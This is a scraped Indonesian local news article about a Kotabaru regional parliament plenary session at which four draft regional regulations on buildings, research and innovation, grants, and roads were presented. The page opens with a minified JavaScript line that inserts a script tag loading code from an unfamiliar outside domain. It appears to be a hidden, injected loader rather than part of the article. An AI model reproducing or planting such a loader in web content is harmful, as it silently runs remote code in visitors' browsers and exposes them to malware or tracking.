(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – DPRD Kotabaru kembali menggelar rapat paripurna yang kali ini agendanya adalah penyampaian 4 buah Rancangan Peraturan Daerah (Raperda) oleh Bupati Kotabaru, Senin (13/5/2024).
Pelaksanaan paripurna dipimpin langsung oleh Ketua DPRD Kotabaru, Syairi Mukhlis didampingi wakil ketua, H Mukhni AF serta para anggota DPRD Kotabaru, dan dari Pemerintah daerah di hadiri Staf Ahli Bidang Pemerintahan, H Zainal Abidin.
Dikatakan oleh H Zainal Abidin bahwa, adapun Raperda yang disampaikan tentang pembangunan gedung, ruang lingkup pengaturan dalam peraturan daerah meliputi fungsi klasifikasi bangunan gedung, standar teknis, proses penyelenggaraan.
Infrastruktur bangunan gedung dengan nuansa kearifan lokal, peran serta masyarakat, pembinaan dan pengawasan pendanaan dan sangksi adminstratif.
“Kedua, Raperda tentang riset dan inovasi daerah sebagai bagian dari upaya meningkatkan kinerja penyelenggaraan pemerintah daerah dibutuhkan riset dan inovasi daerah, tujuan dari adanya riset dan inovasi daerah percepatan terwujudnya kesejahteraan masyarakat adanya inovasi daerah diharapkan akan berdampak pada perbaikan kualitas pelayanan publik, pemberdayaan masyarakat, meningkatkan peran serta masyarakat dan meningkatkan daya saing daerah,” tutur dia.
Dia melanjutkan, yang ketiga adalah Raperda tentang hibah dan sumbangan dari pihak lain, untuk mencapai tujuan negara yang diatur dalam pembukaan UUD Republik Indonesia tahun 1945 dan yang keempat Raperda tentang penyelenggaraan jalan kabupaten dan jalan desa.
Jalan sebagai salah satu prasarana transportasi yang menyangkut hajat hidup orang banyak mempunyai fungsi sosial yang sangat penting dengan pengertian tersebut.
”Maka wewenang penyelenggaraan jalan wajib kita semua menjalankan tugas dan tanggung jawab kita dalam mengayomi dan mensejahterakan masyarakat Kabupaten Kotabaru,” pungkas dia. (kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: Dhani
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.